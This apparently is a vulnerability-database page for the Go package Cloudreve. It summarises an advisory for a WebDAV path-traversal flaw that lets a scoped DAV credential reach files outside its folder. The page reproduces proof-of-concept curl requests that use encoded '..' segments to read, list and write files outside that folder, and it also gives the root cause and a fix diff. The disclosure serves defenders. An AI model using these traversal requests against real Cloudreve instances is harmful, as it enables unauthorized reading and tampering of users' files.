Vulnerabilities in pkg:golang/github.com/cloudreve/Cloudreve/v3

PACKAGE
Advisory Identifier: GHSA-w5fv-7x5q-g8qp
Advisory Summary

CVE-2026-54563 is a HIGH (CVSS 7.1) path traversal vulnerability (CWE-863: Incorrect Authorization) affecting Github.com/cloudreve/Cloudreve/v4 libraries in the Go ecosystem. The issue involves cloudreve webdav (`/dav`) has path traversal / broken access control — scoped dav credential escapes its configured account root. Remediation is available by upgrading affected packages to version 4.0.0-20260606032813-26b6b1044b02.

10 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/cloudreve/Cloudreve/v3

10 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/cloudreve/Cloudreve/v3. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-w5fv-7x5q-g8qp CVE-2026-54563 HIGH Cloudreve WebDAV (`/dav`) has Path Traversal / Broken Access Control — scoped DAV credential escapes its configured account root
GHSA-v6w6-358x-2433 - MODERATE Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests
GHSA-c3jm-gv5r-9wcp CVE-2026-62323 MODERATE Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored
GHSA-hq88-5x99-x3gf CVE-2026-55502 HIGH Cloudreve OAuth Admin.Read scope can update OneDrive storage policy credentials
GHSA-w8x7-h2px-xmq8 CVE-2026-55499 MODERATE Cloudreve: Broken Access Control in file event stream: a single-file share recipient is subscribed to the owner's parent folder and receives activity events for unshared siblings
GHSA-g9j2-8w95-3vwv CVE-2026-55497 MODERATE Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail & avatar decoding crashes the server
GHSA-8r7f-r8hj-r3rv CVE-2026-55496 MODERATE Cloudreve: Information Exposure in `GET /api/v4/user/search`: `SearchActive` omits the active-status predicate, leaking inactive/banned account emails
GHSA-49h3-cwhj-4737 CVE-2026-55495 MODERATE Cloudreve: Path Traversal in WOPI PUT_RELATIVE Allows Arbitrary File Creation in Owner Account
GHSA-x756-g4x3-c64m CVE-2026-54562 MODERATE Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses
GHSA-fg25-gq9g-32mx CVE-2022-32167 MODERATE Cross site scripting in Cloudreve

CVE-2026-54563 at a Glance

CVE Identifier CVE-2026-54563
GHSA Identifier GHSA-w5fv-7x5q-g8qp
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-863: Incorrect Authorization
Affected Product Github.com/cloudreve/Cloudreve/v4
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-54563

To remediate this vulnerability, upgrade all affected Github.com/cloudreve/Cloudreve/v4 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/cloudreve/Cloudreve/v4 fixed: 4.0.0-20260606032813-26b6b1044b02
Upgrade github.com/cloudreve/Cloudreve/v4 to 4.0.0-20260606032813-26b6b1044b02
github.com/cloudreve/Cloudreve/v3 fixed: Latest secure release
Upgrade github.com/cloudreve/Cloudreve/v3 to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/cloudreve/Cloudreve/v4

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54563, inspect your project dependencies for Github.com/cloudreve/Cloudreve/v4:

inspect dependencies for github.com/cloudreve/Cloudreve/v4

Analyze the terminal output to locate any version of Github.com/cloudreve/Cloudreve/v4 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.0-20260606032813-26b6b1044b02), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Github.com/cloudreve/Cloudreve/v4, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A Cloudreve WebDAV account stores a `uri` that defines the account's root folder. The WebDAV request handler (`stripPrefix` in `pkg/webdav/webdav.go`) trims the `/dav` prefix from the request path and joins the remainder to that root with `fs.URI.JoinRaw`, but never checks that the joined URI stays inside the root. Go's `net/http` decodes `%2e%2e` to `..` and `%2f` to `/` in `r.URL.Path` before the handler sees it, and `JoinRaw` resolves `..` segments through the standard library's `url.URL.JoinPath`. A request such as `GET /dav/%2e%2e/outside.txt` against a credential rooted at `cloudreve://my/restricted` therefore resolves to `cloudreve://my/outside.txt`. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them. The escape stays inside the same Cloudreve user's namespace because downstream DBFS owner checks still apply. It does not cross into another user's files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary — the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party). ## Technical Detail ### Root cause `stripPrefix` joins the request suffix onto the account base with no containment check: ```go // pkg/webdav/webdav.go @ 54dc81d func stripPrefix(p string, u *ent.User) (string, *fs.URI, int, error) { base, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI) if err != nil { return "", nil, http.StatusInternalServerError, err } prefix := davPrefix // "/dav" if r := strings.TrimPrefix(p, prefix); len(r) < len(p) { r = strings.TrimPrefix(r, fs.Separator) return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // <-- join, no boundary check } return "", nil, http.StatusNotFound, errPrefixMismatch } ``` `JoinRaw` splits on `/` and delegates to the standard library: ```go // pkg/filemanager/fs/uri.go @ 54dc81d func (u *URI) JoinRaw(elem string) *URI { return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...) } func (u *URI) Join(elem ...string) *URI { newUrl, _ := url.Parse(u.U.String()) return &URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string { return PathEscape(s) })...)} } ``` `PathEscape` leaves a `.` untouched (`shouldEscape` returns `false` for `.`), so the literal segment `..` survives into `url.URL.JoinPath`, which cleans the path and resolves the parent reference. ## Proof of Concept The full server was not run from the checkout (the embedded frontend asset `assets.zip` is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance. ### Layer 1 — `net/http` hands the handler a decoded, *uncleaned* path A standard-library HTTP server, hit over a real socket with raw request targets (equivalent to `curl --path-as-is`), shows what `c.Request.URL.Path` holds inside the handler: ``` REQUEST: GET /dav/%2e%2e/outside.txt handler observed: URL.Path="/dav/../outside.txt" RawPath="/dav/%2e%2e/outside.txt" -> 200 REQUEST: PROPFIND /dav/%2e%2e/ handler observed: URL.Path="/dav/../" RawPath="/dav/%2e%2e/" -> 200 REQUEST: PUT /dav/%2e%2e/created-outside.txt handler observed: URL.Path="/dav/../created-outside.txt" -> 200 REQUEST: GET /dav/%2F..%2Foutside.txt handler observed: URL.Path="/dav//../outside.txt" RawPath="/dav/%2F..%2Foutside.txt" -> 200 ``` The path is decoded but never cleaned. Gin does not rewrite `Request.URL.Path`, so the Cloudreve handler observes the same value. ### Layer 2 — Cloudreve's URI resolution escapes the root Re-running Cloudreve's exact `PathEscape` / `shouldEscape` / `Join` / `JoinRaw` / `NewUriFromString` code (copied verbatim from `uri.go @ 54dc81d`) against the real `net/url` library, with base `cloudreve://my/restricted`: ``` traversal %2e%2e URL.Path=/dav/../outside.txt suffix="../outside.txt" => cloudreve://my/outside.txt traversal %2F..%2F URL.Path=/dav//../outside.txt suffix="/../outside.txt" => cloudreve://my/outside.txt benign nested URL.Path=/dav/sub/normal.txt suffix="sub/normal.txt" => cloudreve://my/restricted/sub/normal.txt double-encoded (ctrl) URL.Path=/dav/%2e%2e/outside.txt suffix="%2e%2e/outside.txt" => cloudreve://my/restricted/%252e%252e/outside.txt deep traversal URL.Path=/dav/../../etc.txt suffix="../../etc.txt" => cloudreve://my/etc.txt ``` The traversal variants land outside `restricted`; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the `my` root (host stays `my`, confirming the same-owner ceiling). ### Live request shapes (against a deployed instance) ```bash # Read outside the DAV root (works for read-only credentials too) curl --path-as-is -i -u 'victim@example.com:DAV_PASSWORD' \ 'https://cloudreve.example/dav/%2e%2e/outside.txt' # List outside the DAV root curl --path-as-is -i -X PROPFIND -H 'Depth: 1' \ -u 'victim@example.com:DAV_PASSWORD' \ 'https://cloudreve.example/dav/%2e%2e/' # Write outside the DAV root (writable credentials) printf 'created outside DAV root\n' | curl --path-as-is -i -X PUT \ -u 'victim@example.com:DAV_PASSWORD' --data-binary @- \ 'https://cloudreve.example/dav/%2e%2e/created-outside.txt' ``` ## Impact - **Read-only scoped credential**: read and list any file in the owner's namespace, outside the folder the credential was scoped to. - **Writable scoped credential**: additionally create, overwrite, move, and delete those files. In normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner's whole `my` filesystem. ## Suggested Fix `fs.URI` already ships the predicate needed (`EqualOrIsDescendantOf`), so the fix is small: ```diff prefix := davPrefix if r := strings.TrimPrefix(p, prefix); len(r) < len(p) { r = strings.TrimPrefix(r, fs.Separator) - return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil + candidate := base.JoinRaw(util.RemoveSlash(r)) + if !candidate.EqualOrIsDescendantOf(base, "") { + return "", nil, http.StatusForbidden, errPrefixMismatch + } + return r, candidate, http.StatusOK, nil } return "", nil, http.StatusNotFound, errPrefixMismatch ``` Regression tests worth adding: - `/dav/%2e%2e/outside.txt` from base `cloudreve://my/restricted` → rejected - `/dav/%2F..%2Foutside.txt` from base `cloudreve://my/restricted` → rejected - `COPY`/`MOVE` with `Destination: https://host/dav/%2e%2e/outside.txt` → rejected - `/dav/sub/normal.txt` → still resolves under the account root

CVE-2026-54563 Affected Github.com/cloudreve/Cloudreve/v4 Versions

2 component(s)
Fixed Versions:
4.0.0-20260606032813-26b6b1044b02
Product / Package Ecosystem Affected Versions Fixed Version
github.com/cloudreve/Cloudreve/v4
Go
< 4.0.0-20260606032813-26b6b1044b02
4.0.0-20260606032813-26b6b1044b02
github.com/cloudreve/Cloudreve/v3
Go
≤ 3.0.0-20250225100611-da4e44b77af4

References

Frequently Asked Questions

What is CVE-2026-54563?
CVE-2026-54563 is a security vulnerability in Github.com/cloudreve/Cloudreve/v4 involving Cloudreve WebDAV (`/dav`) has Path Traversal / Broken Access Control — scoped DAV credential escapes its configured account root under CWE-863: Incorrect Authorization.
Which Github.com/cloudreve/Cloudreve/v4 versions are affected?
Affected versions include releases prior to 4.0.0-20260606032813-26b6b1044b02 across affected packages: github.com/cloudreve/Cloudreve/v4, github.com/cloudreve/Cloudreve/v3.
What version fixes CVE-2026-54563?
Upgrading to 4.0.0-20260606032813-26b6b1044b02 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/cloudreve/Cloudreve/v4 affected?
Yes, github.com/cloudreve/Cloudreve/v4 is affected in releases prior to 4.0.0-20260606032813-26b6b1044b02. Upgrade your dependency to 4.0.0-20260606032813-26b6b1044b02 or later.
Is github.com/cloudreve/Cloudreve/v3 affected?
Yes, github.com/cloudreve/Cloudreve/v3 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-54563?
CVE-2026-54563 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-54563?
CVE-2026-54563 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-54563?
Run the dependency tree command: 'inspect dependencies for github.com/cloudreve/Cloudreve/v4'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w5fv-7x5q-g8qp",
  "modified" : "2026-08-26T15:22:12Z",
  "published" : "2026-08-26T15:22:12Z",
  "aliases" : [ "CVE-2026-54563" ],
  "summary" : "Cloudreve WebDAV (`/dav`) has Path Traversal / Broken Access Control — scoped DAV credential escapes its configured account root",
  "details" : "## Summary\n\nA Cloudreve WebDAV account stores a `uri` that defines the account's root folder. The WebDAV request handler (`stripPrefix` in `pkg/webdav/webdav.go`) trims the `/dav` prefix from the request path and joins the remainder to that root with `fs.URI.JoinRaw`, but never checks that the joined URI stays inside the root.\n\nGo's `net/http` decodes `%2e%2e` to `..` and `%2f` to `/` in `r.URL.Path` before the handler sees it, and `JoinRaw` resolves `..` segments through the standard library's `url.URL.JoinPath`. A request such as `GET /dav/%2e%2e/outside.txt` against a credential rooted at `cloudreve://my/restricted` therefore resolves to `cloudreve://my/outside.txt`. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them.\n\nThe escape stays inside the same Cloudreve user's namespace because downstream DBFS owner checks still apply. It does not cross into another user's files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary — the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party).\n\n## Technical Detail\n\n### Root cause\n\n`stripPrefix` joins the request suffix onto the account base with no containment check:\n\n```go\n// pkg/webdav/webdav.go @ 54dc81d\nfunc stripPrefix(p string, u *ent.User) (string, *fs.URI, int, error) {\n\tbase, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI)\n\tif err != nil {\n\t\treturn \"\", nil, http.StatusInternalServerError, err\n\t}\n\n\tprefix := davPrefix // \"/dav\"\n\tif r := strings.TrimPrefix(p, prefix); len(r) < len(p) {\n\t\tr = strings.TrimPrefix(r, fs.Separator)\n\t\treturn r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // <-- join, no boundary check\n\t}\n\treturn \"\", nil, http.StatusNotFound, errPrefixMismatch\n}\n```\n\n`JoinRaw` splits on `/` and delegates to the standard library:\n\n```go\n// pkg/filemanager/fs/uri.go @ 54dc81d\nfunc (u *URI) JoinRaw(elem string) *URI {\n\treturn u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)\n}\n\nfunc (u *URI) Join(elem ...string) *URI {\n\tnewUrl, _ := url.Parse(u.U.String())\n\treturn &URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string {\n\t\treturn PathEscape(s)\n\t})...)}\n}\n```\n\n`PathEscape` leaves a `.` untouched (`shouldEscape` returns `false` for `.`), so the literal segment `..` survives into `url.URL.JoinPath`, which cleans the path and resolves the parent reference.\n\n\n## Proof of Concept\n\nThe full server was not run from the checkout (the embedded frontend asset `assets.zip` is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance.\n\n### Layer 1 — `net/http` hands the handler a decoded, *uncleaned* path\n\nA standard-library HTTP server, hit over a real socket with raw request targets (equivalent to `curl --path-as-is`), shows what `c.Request.URL.Path` holds inside the handler:\n\n```\nREQUEST: GET /dav/%2e%2e/outside.txt\n  handler observed: URL.Path=\"/dav/../outside.txt\"   RawPath=\"/dav/%2e%2e/outside.txt\"   -> 200\nREQUEST: PROPFIND /dav/%2e%2e/\n  handler observed: URL.Path=\"/dav/../\"              RawPath=\"/dav/%2e%2e/\"               -> 200\nREQUEST: PUT /dav/%2e%2e/created-outside.txt\n  handler observed: URL.Path=\"/dav/../created-outside.txt\"                                 -> 200\nREQUEST: GET /dav/%2F..%2Foutside.txt\n  handler observed: URL.Path=\"/dav//../outside.txt\"  RawPath=\"/dav/%2F..%2Foutside.txt\"   -> 200\n```\n\nThe path is decoded but never cleaned. Gin does not rewrite `Request.URL.Path`, so the Cloudreve handler observes the same value.\n\n### Layer 2 — Cloudreve's URI resolution escapes the root\n\nRe-running Cloudreve's exact `PathEscape` / `shouldEscape` / `Join` / `JoinRaw` / `NewUriFromString` code (copied verbatim from `uri.go @ 54dc81d`) against the real `net/url` library, with base `cloudreve://my/restricted`:\n\n```\ntraversal %2e%2e        URL.Path=/dav/../outside.txt     suffix=\"../outside.txt\"     => cloudreve://my/outside.txt\ntraversal %2F..%2F      URL.Path=/dav//../outside.txt    suffix=\"/../outside.txt\"    => cloudreve://my/outside.txt\nbenign nested           URL.Path=/dav/sub/normal.txt     suffix=\"sub/normal.txt\"     => cloudreve://my/restricted/sub/normal.txt\ndouble-encoded (ctrl)   URL.Path=/dav/%2e%2e/outside.txt suffix=\"%2e%2e/outside.txt\" => cloudreve://my/restricted/%252e%252e/outside.txt\ndeep traversal          URL.Path=/dav/../../etc.txt      suffix=\"../../etc.txt\"      => cloudreve://my/etc.txt\n```\n\nThe traversal variants land outside `restricted`; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the `my` root (host stays `my`, confirming the same-owner ceiling).\n\n### Live request shapes (against a deployed instance)\n\n```bash\n# Read outside the DAV root (works for read-only credentials too)\ncurl --path-as-is -i -u 'victim@example.com:DAV_PASSWORD' \\\n  'https://cloudreve.example/dav/%2e%2e/outside.txt'\n\n# List outside the DAV root\ncurl --path-as-is -i -X PROPFIND -H 'Depth: 1' \\\n  -u 'victim@example.com:DAV_PASSWORD' \\\n  'https://cloudreve.example/dav/%2e%2e/'\n\n# Write outside the DAV root (writable credentials)\nprintf 'created outside DAV root\\n' | curl --path-as-is -i -X PUT \\\n  -u 'victim@example.com:DAV_PASSWORD' --data-binary @- \\\n  'https://cloudreve.example/dav/%2e%2e/created-outside.txt'\n```\n\n## Impact\n\n- **Read-only scoped credential**: read and list any file in the owner's namespace, outside the folder the credential was scoped to.\n- **Writable scoped credential**: additionally create, overwrite, move, and delete those files.\n\nIn normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner's whole `my` filesystem.\n\n## Suggested Fix\n\n`fs.URI` already ships the predicate needed (`EqualOrIsDescendantOf`), so the fix is small:\n\n```diff\n \tprefix := davPrefix\n \tif r := strings.TrimPrefix(p, prefix); len(r) < len(p) {\n \t\tr = strings.TrimPrefix(r, fs.Separator)\n-\t\treturn r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil\n+\t\tcandidate := base.JoinRaw(util.RemoveSlash(r))\n+\t\tif !candidate.EqualOrIsDescendantOf(base, \"\") {\n+\t\t\treturn \"\", nil, http.StatusForbidden, errPrefixMismatch\n+\t\t}\n+\t\treturn r, candidate, http.StatusOK, nil\n \t}\n \treturn \"\", nil, http.StatusNotFound, errPrefixMismatch\n```\n\nRegression tests worth adding:\n\n- `/dav/%2e%2e/outside.txt` from base `cloudreve://my/restricted` → rejected\n- `/dav/%2F..%2Foutside.txt` from base `cloudreve://my/restricted` → rejected\n- `COPY`/`MOVE` with `Destination: https://host/dav/%2e%2e/outside.txt` → rejected\n- `/dav/sub/normal.txt` → still resolves under the account root",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.0-20260606032813-26b6b1044b02"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.0.0-20250225100611-da4e44b77af4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w5fv-7x5q-g8qp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54563"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cloudreve/cloudreve"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/releases/tag/4.16.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-26T15:22:12Z",
    "nvd_published_at" : "2026-07-15T15:16:45Z"
  }
}